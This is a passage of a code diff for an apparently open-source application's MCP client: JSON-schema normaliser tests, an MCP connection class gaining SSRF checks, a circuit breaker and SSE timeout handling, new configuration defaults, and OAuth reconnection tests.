} as any; + const result = normalizeJsonSchema(schema); + expect(result).toEqual({ type: 'string', enum: ['hello', 'world'] }); + expect(result).not.toHaveProperty('const'); + }); + + it('should handle non-string const values (number, boolean, null)', () => { + expect(normalizeJsonSchema({ type: 'number', const: 42 } as any)).toEqual({ + type: 'number', + enum: [42], + }); + expect(normalizeJsonSchema({ type: 'boolean', const: true } as any)).toEqual({ + type: 'boolean', + enum: [true], + }); + expect(normalizeJsonSchema({ type: 'string', const: null } as any)).toEqual({ + type: 'string', + enum: [null], + }); + }); + + it('should recursively normalize nested object properties', () => { + const schema = { + type: 'object', + properties: { + mode: { type: 'string', const: 'advanced' }, + count: { type: 'number', const: 5 }, + name: { type: 'string', description: 'A name' }, + }, + } as any; + + const result = normalizeJsonSchema(schema); + expect(result.properties.mode).toEqual({ type: 'string', enum: ['advanced'] }); + expect(result.properties.count).toEqual({ type: 'number', enum: [5] }); + expect(result.properties.name).toEqual({ type: 'string', description: 'A name' }); + }); + + it('should normalize inside oneOf/anyOf/allOf arrays', () => { + const schema = { + type: 'object', + oneOf: [ + { type: 'object', properties: { kind: { type: 'string', const: 'A' } } }, + { type: 'object', properties: { kind: { type: 'string', const: 'B' } } }, + ], + anyOf: [{ type: 'string', const: 'x' }], + allOf: [{ type: 'number', const: 1 }], + } as any; + + const result = normalizeJsonSchema(schema); + expect(result.oneOf[0].properties.kind).toEqual({ type: 'string', enum: ['A'] }); + expect(result.oneOf[1].properties.kind).toEqual({ type: 'string', enum: ['B'] }); + expect(result.anyOf[0]).toEqual({ type: 'string', enum: ['x'] }); + expect(result.allOf[0]).toEqual({ type: 'number', enum: [1] }); + }); + + it('should normalize array items with const', () => { + const schema = { + type: 'array', + items: { type: 'string', const: 'fixed' }, + } as any; + + const result = normalizeJsonSchema(schema); + expect(result.items).toEqual({ type: 'string', enum: ['fixed'] }); + }); + + it('should normalize additionalProperties with const', () => { + const schema = { + type: 'object', + additionalProperties: { type: 'string', const: 'val' }, + } as any; + + const result = normalizeJsonSchema(schema); + expect(result.additionalProperties).toEqual({ type: 'string', enum: ['val'] }); + }); + + it('should handle null, undefined, and primitive inputs safely', () => { + expect(normalizeJsonSchema(null as any)).toBeNull(); + expect(normalizeJsonSchema(undefined as any)).toBeUndefined(); + expect(normalizeJsonSchema('string' as any)).toBe('string'); + expect(normalizeJsonSchema(42 as any)).toBe(42); + expect(normalizeJsonSchema(true as any)).toBe(true); + }); + + it('should be a no-op when no const is present', () => { + const schema = { + type: 'object', + properties: { + name: { type: 'string', description: 'Name' }, + age: { type: 'number' }, + tags: { type: 'array', items: { type: 'string' } }, + }, + required: ['name'], + } as any; + + const result = normalizeJsonSchema(schema); + expect(result).toEqual(schema); + }); + + it('should handle a Tavily-like schema pattern with const', () => { + const schema = { + type: 'object', + properties: { + query: { + type: 'string', + description: 'The search query', + }, + search_depth: { + type: 'string', + const: 'advanced', + description: 'The depth of the search', + }, + topic: { + type: 'string', + enum: ['general', 'news'], + description: 'The search topic', + }, + include_answer: { + type: 'boolean', + const: true, + }, + max_results: { + type: 'number', + const: 5, + }, + }, + required: ['query'], + } as any; + + const result = normalizeJsonSchema(schema); + + // const fields should be converted to enum + expect(result.properties.search_depth).toEqual({ + type: 'string', + enum: ['advanced'], + description: 'The depth of the search', + }); + expect(result.properties.include_answer).toEqual({ + type: 'boolean', + enum: [true], + }); + expect(result.properties.max_results).toEqual({ + type: 'number', + enum: [5], + }); + + // Existing enum should be preserved + expect(result.properties.topic).toEqual({ + type: 'string', + enum: ['general', 'news'], + description: 'The search topic', + }); + + // Non-const fields should be unchanged + expect(result.properties.query).toEqual({ + type: 'string', + description: 'The search query', + }); + + // Top-level fields preserved + expect(result.required).toEqual(['query']); + expect(result.type).toBe('object'); + }); + + it('should handle arrays at the top level', () => { + const schemas = [ + { type: 'string', const: 'a' }, + { type: 'number', const: 1 }, + ] as any; + + const result = normalizeJsonSchema(schemas); + expect(result).toEqual([ + { type: 'string', enum: ['a'] }, + { type: 'number', enum: [1] }, + ]); + }); + + it('should strip vendor extension fields (x-* prefixed keys)', () => { + const schema = { + type: 'object', + properties: { + travelMode: { + type: 'string', + enum: ['DRIVE', 'BICYCLE', 'TRANSIT', 'WALK'], + 'x-google-enum-descriptions': ['By car', 'By bicycle', 'By public transit', 'By walking'], + description: 'Mode of travel', + }, + }, + } as any; + + const result = normalizeJsonSchema(schema); + expect(result.properties.travelMode).toEqual({ + type: 'string', + enum: ['DRIVE', 'BICYCLE', 'TRANSIT', 'WALK'], + description: 'Mode of travel', + }); + expect(result.properties.travelMode).not.toHaveProperty('x-google-enum-descriptions'); + }); + + it('should strip x-* fields at all nesting levels', () => { + const schema = { + type: 'object', + 'x-custom-root': true, + properties: { + outer: { + type: 'object', + 'x-custom-outer': 'value', + properties: { + inner: { + type: 'string', + 'x-custom-inner': 42, + }, + }, + }, + arr: { + type: 'array', + items: { + type: 'string', + 'x-item-meta': 'something', + }, + }, + }, + } as any; + + const result = normalizeJsonSchema(schema); + expect(result).not.toHaveProperty('x-custom-root'); + expect(result.properties.outer).not.toHaveProperty('x-custom-outer'); + expect(result.properties.outer.properties.inner).not.toHaveProperty('x-custom-inner'); + expect(result.properties.arr.items).not.toHaveProperty('x-item-meta'); + // Standard fields should be preserved + expect(result.type).toBe('object'); + expect(result.properties.outer.type).toBe('object'); + expect(result.properties.outer.properties.inner.type).toBe('string'); + expect(result.properties.arr.items.type).toBe('string'); + }); + + it('should strip $defs and definitions as a safety net', () => { + const schema = { + type: 'object', + properties: { + name: { type: 'string' }, + }, + $defs: { + SomeType: { type: 'string' }, + }, + } as any; + + const result = normalizeJsonSchema(schema); + expect(result).not.toHaveProperty('$defs'); + expect(result.type).toBe('object'); + expect(result.properties.name).toEqual({ type: 'string' }); + }); + + it('should strip x-* fields inside oneOf/anyOf/allOf', () => { + const schema = { + type: 'object', + oneOf: [ + { type: 'string', 'x-meta': 'a' }, + { type: 'number', 'x-meta': 'b' }, + ], + } as any; + + const result = normalizeJsonSchema(schema); + expect(result.oneOf[0]).toEqual({ type: 'string' }); + expect(result.oneOf[1]).toEqual({ type: 'number' }); + }); + + it('should handle a Google Maps MCP-like schema with $defs and x-google-enum-descriptions', () => { + const schema = { + type: 'object', + properties: { + origin: { type: 'string', description: 'Starting address' }, + destination: { type: 'string', description: 'Ending address' }, + travelMode: { + type: 'string', + enum: ['DRIVE', 'BICYCLE', 'TRANSIT', 'WALK'], + 'x-google-enum-descriptions': ['By car', 'By bicycle', 'By public transit', 'By walking'], + }, + waypoints: { + type: 'array', + items: { $ref: '#/$defs/Waypoint' }, + }, + }, + required: ['origin', 'destination'], + $defs: { + Waypoint: { + type: 'object', + properties: { + location: { type: 'string' }, + stopover: { type: 'boolean' }, + }, + }, + }, + } as any; + + // First resolve refs, then normalize + const resolved = resolveJsonSchemaRefs(schema); + const result = normalizeJsonSchema(resolved); + + // $defs should be stripped (by both resolveJsonSchemaRefs and normalizeJsonSchema) + expect(result).not.toHaveProperty('$defs'); + // x-google-enum-descriptions should be stripped + expect(result.properties.travelMode).not.toHaveProperty('x-google-enum-descriptions'); + // $ref should be resolved inline + expect(result.properties.waypoints.items).not.toHaveProperty('$ref'); + expect(result.properties.waypoints.items).toEqual({ + type: 'object', + properties: { + location: { type: 'string' }, + stopover: { type: 'boolean' }, + }, + }); + // Standard fields preserved + expect(result.properties.travelMode.enum).toEqual(['DRIVE', 'BICYCLE', 'TRANSIT', 'WALK']); + expect(result.properties.origin).toEqual({ type: 'string', description: 'Starting address' }); + }); +}); diff --git a/packages/api/src/mcp/connection.ts b/packages/api/src/mcp/connection.ts index b954a2e839..8dc857cd3b 100644 --- a/packages/api/src/mcp/connection.ts +++ b/packages/api/src/mcp/connection.ts @@ -11,16 +11,17 @@ import { WebSocketClientTransport } from '@modelcontextprotocol/sdk/client/webso import { ResourceListChangedNotificationSchema } from '@modelcontextprotocol/sdk/types.js'; import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js'; import type { Transport } from '@modelcontextprotocol/sdk/shared/transport.js'; -import type { JSONRPCMessage } from '@modelcontextprotocol/sdk/types.js'; import type { RequestInit as UndiciRequestInit, RequestInfo as UndiciRequestInfo, Response as UndiciResponse, } from 'undici'; import type { MCPOAuthTokens } from './oauth/types'; -import { withTimeout } from '~/utils/promise'; import type * as t from './types'; +import { createSSRFSafeUndiciConnect, resolveHostnameSSRF } from '~/auth'; +import { runOutsideTracing } from '~/utils/tracing'; import { sanitizeUrlForLogging } from './utils'; +import { withTimeout } from '~/utils/promise'; import { mcpConfig } from './mcpConfig'; type FetchLike = (url: string | URL, init?: RequestInit) => Promise; @@ -70,6 +71,28 @@ const FIVE_MINUTES = 5 * 60 * 1000; const DEFAULT_TIMEOUT = 60000; /** SSE connections through proxies may need longer initial handshake time */ const SSE_CONNECT_TIMEOUT = 120000; +const DEFAULT_INIT_TIMEOUT = 30000; + +interface CircuitBreakerState { + cycleCount: number; + cycleWindowStart: number; + cooldownUntil: number; + failedRounds: number; + failedWindowStart: number; + failedBackoffUntil: number; +} + +/** Default body timeout for Streamable HTTP GET SSE streams that idle between server pushes */ +const DEFAULT_SSE_READ_TIMEOUT = FIVE_MINUTES; + +/** + * Error message prefixes emitted by the MCP SDK's StreamableHTTPClientTransport + * (client/streamableHttp.ts → _handleSseStream / _scheduleReconnection). + * These are SDK-internal strings, not part of a public API. If the SDK changes + * them, suppression in setupTransportErrorHandlers will silently stop working. + */ +const SDK_SSE_STREAM_DISCONNECTED = 'SSE stream disconnected'; +const SDK_SSE_RECONNECT_FAILED = 'Failed to reconnect SSE stream'; /** * Headers for SSE connections. @@ -200,6 +223,21 @@ function extractSSEErrorMessage(error: unknown): { }; } + /** + * "fetch failed" is a generic undici TypeError that occurs when an in-flight HTTP request + * is aborted (e.g. after an MCP protocol-level timeout fires). The transport itself is still + * functional — only the individual request was lost — so treat this as transient. + */ + if (rawMessage === 'fetch failed') { + return { + message: + 'fetch failed (request aborted, likely after a timeout — connection may still be usable)', + code, + isProxyHint: false, + isTransient: true, + }; + } + return { message: rawMessage, code, @@ -213,6 +251,7 @@ interface MCPConnectionParams { serverConfig: t.MCPOptions; userId?: string; oauthTokens?: MCPOAuthTokens | null; + useSSRFProtection?: boolean; } export class MCPConnection extends EventEmitter { @@ -227,14 +266,18 @@ export class MCPConnection extends EventEmitter { private isReconnecting = false; private isInitializing = false; private reconnectAttempts = 0; + private agents: Agent[] = []; private readonly userId?: string; private lastPingTime: number; private lastConnectionCheckAt: number = 0; private oauthTokens?: MCPOAuthTokens | null; private requestHeaders?: Record | null; private oauthRequired = false; + private oauthRecovery = false; + private readonly useSSRFProtection: boolean; iconPath?: string; timeout?: number; + sseReadTimeout?: number; url?: string; /** @@ -243,6 +286,88 @@ export class MCPConnection extends EventEmitter { */ public readonly createdAt: number; + private static circuitBreakers: Map = new Map(); + + public static clearCooldown(serverName: string): void { + MCPConnection.circuitBreakers.delete(serverName); + logger.debug(`[MCP][${serverName}] Circuit breaker state cleared`); + } + + private getCircuitBreaker(): CircuitBreakerState { + let cb = MCPConnection.circuitBreakers.get(this.serverName); + if (!cb) { + cb = { + cycleCount: 0, + cycleWindowStart: Date.now(), + cooldownUntil: 0, + failedRounds: 0, + failedWindowStart: Date.now(), + failedBackoffUntil: 0, + }; + MCPConnection.circuitBreakers.set(this.serverName, cb); + } + return cb; + } + + private isCircuitOpen(): boolean { + const cb = this.getCircuitBreaker(); + const now = Date.now(); + return now < cb.cooldownUntil || now < cb.failedBackoffUntil; + } + + private recordCycle(): void { + const cb = this.getCircuitBreaker(); + const now = Date.now(); + if (now - cb.cycleWindowStart > mcpConfig.CB_CYCLE_WINDOW_MS) { + cb.cycleCount = 0; + cb.cycleWindowStart = now; + } + cb.cycleCount++; + if (cb.cycleCount >= mcpConfig.CB_MAX_CYCLES) { + cb.cooldownUntil = now + mcpConfig.CB_CYCLE_COOLDOWN_MS; + cb.cycleCount = 0; + cb.cycleWindowStart = now; + logger.warn( + `${this.getLogPrefix()} Circuit breaker: too many cycles, cooling down for ${mcpConfig.CB_CYCLE_COOLDOWN_MS}ms`, + ); + } + } + + private recordFailedRound(): void { + const cb = this.getCircuitBreaker(); + const now = Date.now(); + if (now - cb.failedWindowStart > mcpConfig.CB_FAILED_WINDOW_MS) { + cb.failedRounds = 0; + cb.failedWindowStart = now; + } + cb.failedRounds++; + if (cb.failedRounds >= mcpConfig.CB_MAX_FAILED_ROUNDS) { + const backoff = Math.min( + mcpConfig.CB_BASE_BACKOFF_MS * + Math.pow(2, cb.failedRounds - mcpConfig.CB_MAX_FAILED_ROUNDS), + mcpConfig.CB_MAX_BACKOFF_MS, + ); + cb.failedBackoffUntil = now + backoff; + logger.warn( + `${this.getLogPrefix()} Circuit breaker: too many failures, backing off for ${backoff}ms`, + ); + } + } + + private resetFailedRounds(): void { + const cb = this.getCircuitBreaker(); + cb.failedRounds = 0; + cb.failedWindowStart = Date.now(); + cb.failedBackoffUntil = 0; + } + + public static decrementCycleCount(serverName: string): void { + const cb = MCPConnection.circuitBreakers.get(serverName); + if (cb && cb.cycleCount > 0) { + cb.cycleCount--; + } + } + setRequestHeaders(headers: Record | null): void { if (!headers) { return; @@ -263,8 +388,10 @@ export class MCPConnection extends EventEmitter { this.options = params.serverConfig; this.serverName = params.serverName; this.userId = params.userId; + this.useSSRFProtection = params.useSSRFProtection === true; this.iconPath = params.serverConfig.iconPath; this.timeout = params.serverConfig.timeout; + this.sseReadTimeout = params.serverConfig.sseReadTimeout; this.lastPingTime = Date.now(); this.createdAt = Date.now(); // Record creation timestamp for staleness detection if (params.oauthTokens) { @@ -293,26 +420,45 @@ export class MCPConnection extends EventEmitter { * Factory function to create fetch functions without capturing the entire `this` context. * This helps prevent memory leaks by only passing necessary dependencies. * - * @param getHeaders Function to retrieve request headers - * @param timeout Timeout value for the agent (in milliseconds) - * @returns A fetch function that merges headers appropriately + * When `sseBodyTimeout` is provided, a second Agent is created with a much longer + * body timeout for GET requests (the Streamable HTTP SSE stream). POST requests + * continue using the normal timeout so they fail fast on real errors. */ private createFetchFunction( getHeaders: () => Record | null | undefined, timeout?: number, + sseBodyTimeout?: number, ): (input: UndiciRequestInfo, init?: UndiciRequestInit) => Promise { + const ssrfConnect = this.useSSRFProtection ? createSSRFSafeUndiciConnect() : undefined; + const connectOpts = ssrfConnect != null ? { connect: ssrfConnect } : {}; + const effectiveTimeout = timeout || DEFAULT_TIMEOUT; + const postAgent = new Agent({ + bodyTimeout: effectiveTimeout, + headersTimeout: effectiveTimeout, + ...connectOpts, + }); + this.agents.push(postAgent); + + let getAgent: Agent | undefined; + if (sseBodyTimeout != null) { + getAgent = new Agent({ + bodyTimeout: sseBodyTimeout, + headersTimeout: effectiveTimeout, + ...connectOpts, + }); + this.agents.push(getAgent); + } + return function customFetch( input: UndiciRequestInfo, init?: UndiciRequestInit, ): Promise { + const isGet = (init?.method ?? 'GET').toUpperCase() === 'GET'; + const dispatcher = isGet && getAgent ? getAgent : postAgent; + const requestHeaders = getHeaders(); - const effectiveTimeout = timeout || DEFAULT_TIMEOUT; - const agent = new Agent({ - bodyTimeout: effectiveTimeout, - headersTimeout: effectiveTimeout, - }); if (!requestHeaders) { - return undiciFetch(input, { ...init, dispatcher: agent }); + return undiciFetch(input, { ...init, redirect: 'manual', dispatcher }); } let initHeaders: Record = {}; @@ -328,11 +474,12 @@ export class MCPConnection extends EventEmitter { return undiciFetch(input, { ...init, + redirect: 'manual', headers: { ...initHeaders, ...requestHeaders, }, - dispatcher: agent, + dispatcher, }); }; } @@ -342,7 +489,7 @@ export class MCPConnection extends EventEmitter { logger.error(`${this.getLogPrefix()} ${errorContext}: ${errorMessage}`); } - private constructTransport(options: t.MCPOptions): Transport { + private async constructTransport(options: t.MCPOptions): Promise { try { let type: t.MCPOptions['type']; if (isStdioOptions(options)) { @@ -373,12 +520,29 @@ export class MCPConnection extends EventEmitter { env: { ...getDefaultEnvironment(), ...(options.env ?? {}) }, }); - case 'websocket': + case 'websocket': { if (!isWebSocketOptions(options)) { throw new Error('Invalid options for websocket transport.'); } this.url = options.url; + /** + * SSRF pre-check: always validate resolved IPs for WebSocket, regardless + * of allowlist configuration. Allowlisting a domain grants trust to that + * name, not to whatever IP it resolves to at runtime (DNS rebinding). + * + * Note: WebSocketClientTransport does its own DNS resolution, creating a + * small TOCTOU window. This is an SDK limitation — the transport accepts + * only a URL with no custom DNS lookup hook. + */ + const wsHostname = new URL(options.url).hostname; + const isSSRF = await resolveHostnameSSRF(wsHostname); + if (isSSRF) { + throw new Error( + `SSRF protection: WebSocket host "${wsHostname}" resolved to a private/reserved IP address`, + ); + } return new WebSocketClientTransport(new URL(options.url)); + } case 'sse': { if (!isSSEOptions(options)) { @@ -402,6 +566,15 @@ export class MCPConnection extends EventEmitter { * The connect timeout is extended because proxies may delay initial response. */ const sseTimeout = this.timeout || SSE_CONNECT_TIMEOUT; + const ssrfConnect = this.useSSRFProtection ? createSSRFSafeUndiciConnect() : undefined; + const sseAgent = new Agent({ + bodyTimeout: sseTimeout, + headersTimeout: sseTimeout, + keepAliveTimeout: sseTimeout, + keepAliveMaxTimeout: sseTimeout * 2, + ...(ssrfConnect != null ? { connect: ssrfConnect } : {}), + }); + this.agents.push(sseAgent); const transport = new SSEClientTransport(url, { requestInit: { /** User/OAuth headers override SSE defaults */ @@ -414,16 +587,10 @@ export class MCPConnection extends EventEmitter { const fetchHeaders = new Headers( Object.assign({}, SSE_REQUEST_HEADERS, init?.headers, headers), ); - const agent = new Agent({ - bodyTimeout: sseTimeout, - headersTimeout: sseTimeout, - /** Extended keep-alive for long-lived SSE connections */ - keepAliveTimeout: sseTimeout, - keepAliveMaxTimeout: sseTimeout * 2, - }); return undiciFetch(url, { ...init, - dispatcher: agent, + redirect: 'manual', + dispatcher: sseAgent, headers: fetchHeaders, }); }, @@ -439,10 +606,6 @@ export class MCPConnection extends EventEmitter { this.emit('connectionChange', 'disconnected'); }; - transport.onmessage = (message) => { - logger.info(`${this.getLogPrefix()} Message received: ${JSON.stringify(message)}`); - }; - this.setupTransportErrorHandlers(transport); return transport; } @@ -472,6 +635,7 @@ export class MCPConnection extends EventEmitter { fetch: this.createFetchFunction( this.getRequestHeaders.bind(this), this.timeout, + this.sseReadTimeout || DEFAULT_SSE_READ_TIMEOUT, ) as unknown as FetchLike, }); @@ -480,10 +644,6 @@ export class MCPConnection extends EventEmitter { this.emit('connectionChange', 'disconnected'); }; - transport.onmessage = (message: JSONRPCMessage) => { - logger.info(`${this.getLogPrefix()} Message received: ${JSON.stringify(message)}`); - }; - this.setupTransportErrorHandlers(transport); return transport; } @@ -542,7 +702,11 @@ export class MCPConnection extends EventEmitter { } this.isReconnecting = true; - const backoffDelay = (attempt: number) => Math.min(1000 * Math.pow(2, attempt), 30000); + const backoffDelay = (attempt: number) => { + const base = Math.min(1000 * Math.pow(2, attempt), 30000); + const jitter = Math.floor(Math.random() * 1000); // up to 1s of random jitter + return base + jitter; + }; try { while ( @@ -616,6 +780,12 @@ export class MCPConnection extends EventEmitter { return; } + if (this.isCircuitOpen()) { + this.connectionState = 'error'; + this.emit('connectionChange', 'error'); + throw new Error(`${this.getLogPrefix()} Circuit breaker is open, connection attempt blocked`); + } + this.emit('connectionChange', 'connecting'); this.connectPromise = (async () => { @@ -623,25 +793,37 @@ export class MCPConnection extends EventEmitter { if (this.transport) { try { await this.client.close(); - this.transport = null; } catch (error) { logger.warn(`${this.getLogPrefix()} Error closing connection:`, error); } + this.transport = null; + await this.closeAgents(); } - this.transport = this.constructTransport(this.options); - this.setupTransportDebugHandlers(); + this.transport = await runOutsideTracing(() => this.constructTransport(this.options)); + this.patchTransportSend(); - const connectTimeout = this.options.initTimeout ?? 120000; - await withTimeout( - this.client.connect(this.transport), - connectTimeout, - `Connection timeout after ${connectTimeout}ms`, + const connectTimeout = this.options.initTimeout ?? DEFAULT_INIT_TIMEOUT; + await runOutsideTracing(() => + withTimeout( + this.client.connect(this.transport!), + connectTimeout, + `Connection timeout after ${connectTimeout}ms`, + ), ); + this.setupTransportOnMessageHandler(); this.connectionState = 'connected'; this.emit('connectionChange', 'connected'); this.reconnectAttempts = 0; + this.resetFailedRounds(); + if (this.oauthRecovery) { + MCPConnection.decrementCycleCount(this.serverName); + this.oauthRecovery = false; + logger.debug( + `${this.getLogPrefix()} OAuth recovery: decremented cycle count after successful reconnect`, + ); + } } catch (error) { // Check if it's a rate limit error - stop immediately to avoid making it worse if (this.isRateLimitError(error)) { @@ -725,9 +907,8 @@ export class MCPConnection extends EventEmitter { try { // Wait for OAuth to be handled await oauthHandledPromise; - // Reset the oauthRequired flag this.oauthRequired = false; - // Don't throw the error - just return so connection can be retried + this.oauthRecovery = true; logger.info( `${this.getLogPrefix()} OAuth handled successfully, connection will be retried`, ); @@ -743,6 +924,7 @@ export class MCPConnection extends EventEmitter { this.connectionState = 'error'; this.emit('connectionChange', 'error'); + this.recordFailedRound(); throw error; } finally { this.connectPromise = null; @@ -752,15 +934,11 @@ export class MCPConnection extends EventEmitter { return this.connectPromise; } - private setupTransportDebugHandlers(): void { + private patchTransportSend(): void { if (!this.transport) { return; } - this.transport.onmessage = (msg) => { - logger.debug(`${this.getLogPrefix()} Transport received: ${JSON.stringify(msg)}`); - }; - const originalSend = this.transport.send.bind(this.transport); this.transport.send = async (msg) => { if ('result' in msg && !('method' in msg) && Object.keys(msg.result ?? {}).length === 0) { @@ -769,14 +947,35 @@ export class MCPConnection extends EventEmitter { } this.lastPingTime = Date.now(); } - logger.debug(`${this.getLogPrefix()} Transport sending: ${JSON.stringify(msg)}`); + const method = 'method' in msg ? msg.method : undefined; + const id = 'id' in msg ? (msg as { id: string | number | null }).id : undefined; + logger.debug( + `${this.getLogPrefix()} Transport sending: method=${method ?? 'response'} id=${id ?? 'none'}`, + ); return originalSend(msg); }; } + private setupTransportOnMessageHandler(): void { + if (!this.transport?.onmessage) { + return; + } + + const sdkHandler = this.transport.onmessage; + this.transport.onmessage = (msg) => { + const method = 'method' in msg ? msg.method : undefined; + const id = 'id' in msg ? (msg as { id: string | number | null }).id : undefined; + logger.debug( + `${this.getLogPrefix()} Transport received: method=${method ?? 'response'} id=${id ?? 'none'}`, + ); + sdkHandler(msg); + }; + } + async connect(): Promise { try { - await this.disconnect(); + // preserve cycle tracking across reconnects so the circuit breaker can detect rapid cycling + await this.disconnect(false); await this.connectClient(); if (!(await this.isConnected())) { throw new Error('Connection not established'); @@ -789,7 +988,26 @@ export class MCPConnection extends EventEmitter { private setupTransportErrorHandlers(transport: Transport): void { transport.onerror = (error) => { - // Extract meaningful error information (handles "SSE error: undefined" cases) + const rawMessage = + error && typeof error === 'object' ? ((error as { message?: string }).message ?? '') : ''; + + /** + * The MCP SDK's StreamableHTTPClientTransport fires onerror for SSE GET stream + * disconnects but also handles reconnection internally via _scheduleReconnection. + * Escalating these to a full transport rebuild creates a redundant reconnection + * loop. Log at debug level and let the SDK recover the GET stream on its own. + * + * "Maximum reconnection attempts … exceeded" means the SDK gave up — that one + * must fall through so our higher-level reconnection takes over. + */ + if ( + rawMessage.startsWith(SDK_SSE_STREAM_DISCONNECTED) || + rawMessage.startsWith(SDK_SSE_RECONNECT_FAILED) + ) { + logger.debug(`${this.getLogPrefix()} SDK SSE stream recovery in progress: ${rawMessage}`); + return; + } + const { message: errorMessage, code: errorCode, @@ -797,10 +1015,24 @@ export class MCPConnection extends EventEmitter { isTransient, } = extractSSEErrorMessage(error); - // Ignore SSE 404 errors for servers that don't support SSE - if (errorCode === 404 && errorMessage.toLowerCase().includes('failed to open sse stream')) { - logger.warn(`${this.getLogPrefix()} SSE stream not available (404). Ignoring.`); - return; + if (errorCode === 400 || errorCode === 404 || errorCode === 405) { + const hasSession = + 'sessionId' in transport && + (transport as { sessionId?: string }).sessionId != null && + (transport as { sessionId?: string }).sessionId !== ''; + + if (!hasSession && errorMessage.toLowerCase().includes('failed to open sse stream')) { + logger.warn( + `${this.getLogPrefix()} SSE stream not available (${errorCode}), no session. Ignoring.`, + ); + return; + } + + if (hasSession) { + logger.warn( + `${this.getLogPrefix()} ${errorCode} with active session — session lost, triggering reconnection.`, + ); + } } // Check if it's an OAuth authentication error @@ -858,12 +1090,24 @@ export class MCPConnection extends EventEmitter { }; } - public async disconnect(): Promise { + private async closeAgents(): Promise { + const logPrefix = this.getLogPrefix(); + const closing = this.agents.map((agent) => + agent.close().catch((err: unknown) => { + logger.debug(`${logPrefix} Agent close error (non-fatal):`, err); + }), + ); + this.agents = []; + await Promise.all(closing); + } + + public async disconnect(resetCycleTracking = true): Promise { try { if (this.transport) { await this.client.close(); this.transport = null; } + await this.closeAgents(); if (this.connectionState === 'disconnected') { return; } @@ -871,6 +1115,9 @@ export class MCPConnection extends EventEmitter { this.emit('connectionChange', 'disconnected'); } finally { this.connectPromise = null; + if (!resetCycleTracking) { + this.recordCycle(); + } } } diff --git a/packages/api/src/mcp/mcpConfig.ts b/packages/api/src/mcp/mcpConfig.ts index f3efd3592b..a81752e909 100644 --- a/packages/api/src/mcp/mcpConfig.ts +++ b/packages/api/src/mcp/mcpConfig.ts @@ -12,4 +12,18 @@ export const mcpConfig = { USER_CONNECTION_IDLE_TIMEOUT: math( process.env.MCP_USER_CONNECTION_IDLE_TIMEOUT ?? 15 * 60 * 1000, ), + /** Max connect/disconnect cycles before the circuit breaker trips. Default: 7 */ + CB_MAX_CYCLES: math(process.env.MCP_CB_MAX_CYCLES ?? 7), + /** Sliding window (ms) for counting cycles. Default: 45s */ + CB_CYCLE_WINDOW_MS: math(process.env.MCP_CB_CYCLE_WINDOW_MS ?? 45_000), + /** Cooldown (ms) after the cycle breaker trips. Default: 15s */ + CB_CYCLE_COOLDOWN_MS: math(process.env.MCP_CB_CYCLE_COOLDOWN_MS ?? 15_000), + /** Max consecutive failed connection rounds before backoff. Default: 3 */ + CB_MAX_FAILED_ROUNDS: math(process.env.MCP_CB_MAX_FAILED_ROUNDS ?? 3), + /** Sliding window (ms) for counting failed rounds. Default: 120s */ + CB_FAILED_WINDOW_MS: math(process.env.MCP_CB_FAILED_WINDOW_MS ?? 120_000), + /** Base backoff (ms) after failed round threshold is reached. Default: 30s */ + CB_BASE_BACKOFF_MS: math(process.env.MCP_CB_BASE_BACKOFF_MS ?? 30_000), + /** Max backoff cap (ms) for exponential backoff. Default: 300s */ + CB_MAX_BACKOFF_MS: math(process.env.MCP_CB_MAX_BACKOFF_MS ?? 300_000), }; diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts b/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts index 4b2e82a05f..d889da4f2f 100644 --- a/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts +++ b/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts @@ -253,17 +253,21 @@ describe('OAuthReconnectionManager', () => { expect(mockMCPManager.disconnectUserConnection).toHaveBeenCalledWith(userId, 'server1'); }); - it('should not reconnect servers with expired tokens', async () => { + it('should not reconnect servers with expired tokens and no refresh token', async () => { const userId = 'user-123'; const oauthServers = new Set(['server1']); (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers); - // server1: has expired token - tokenMethods.findToken.mockResolvedValue({ - userId, - identifier: 'mcp:server1', - expiresAt: new Date(Date.now() - 3600000), // 1 hour ago - } as unknown as MCPOAuthTokens); + tokenMethods.findToken.mockImplementation(async ({ identifier }) => { + if (identifier === 'mcp:server1') { + return { + userId, + identifier, + expiresAt: new Date(Date.now() - 3600000), + } as unknown as MCPOAuthTokens; + } + return null; + }); await reconnectionManager.reconnectServers(userId); @@ -272,6 +276,87 @@ describe('OAuthReconnectionManager', () => { expect(mockMCPManager.getUserConnection).not.toHaveBeenCalled(); }); + it('should reconnect servers with expired access token but valid refresh token', async () => { + const userId = 'user-123'; + const oauthServers = new Set(['server1']); + (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers); + + tokenMethods.findToken.mockImplementation(async ({ identifier }) => { + if (identifier === 'mcp:server1') { + return { + userId, + identifier, + expiresAt: new Date(Date.now() - 3600000), + } as unknown as MCPOAuthTokens; + } + if (identifier === 'mcp:server1:refresh') { + return { + userId, + identifier, + } as unknown as MCPOAuthTokens; + } + return null; + }); + + const mockNewConnection = { + isConnected: jest.fn().mockResolvedValue(true), + disconnect: jest.fn(), + }; + mockMCPManager.getUserConnection.mockResolvedValue( + mockNewConnection as unknown as MCPConnection, + ); + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue( + {} as unknown as MCPOptions, + ); + + await reconnectionManager.reconnectServers(userId); + + expect(reconnectionTracker.isActive(userId, 'server1')).toBe(true); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith( + expect.objectContaining({ serverName: 'server1' }), + ); + }); + + it('should reconnect when access token is TTL-deleted but refresh token exists', async () => { + const userId = 'user-123'; + const oauthServers = new Set(['server1']); + (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers); + + tokenMethods.findToken.mockImplementation(async ({ identifier }) => { + if (identifier === 'mcp:server1:refresh') { + return { + userId, + identifier, + } as unknown as MCPOAuthTokens; + } + return null; + }); + + const mockNewConnection = { + isConnected: jest.fn().mockResolvedValue(true), + disconnect: jest.fn(), + }; + mockMCPManager.getUserConnection.mockResolvedValue( + mockNewConnection as unknown as MCPConnection, + ); + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue( + {} as unknown as MCPOptions, + ); + + await reconnectionManager.reconnectServers(userId); + + expect(reconnectionTracker.isActive(userId, 'server1')).toBe(true); + + await new Promise((resolve) => 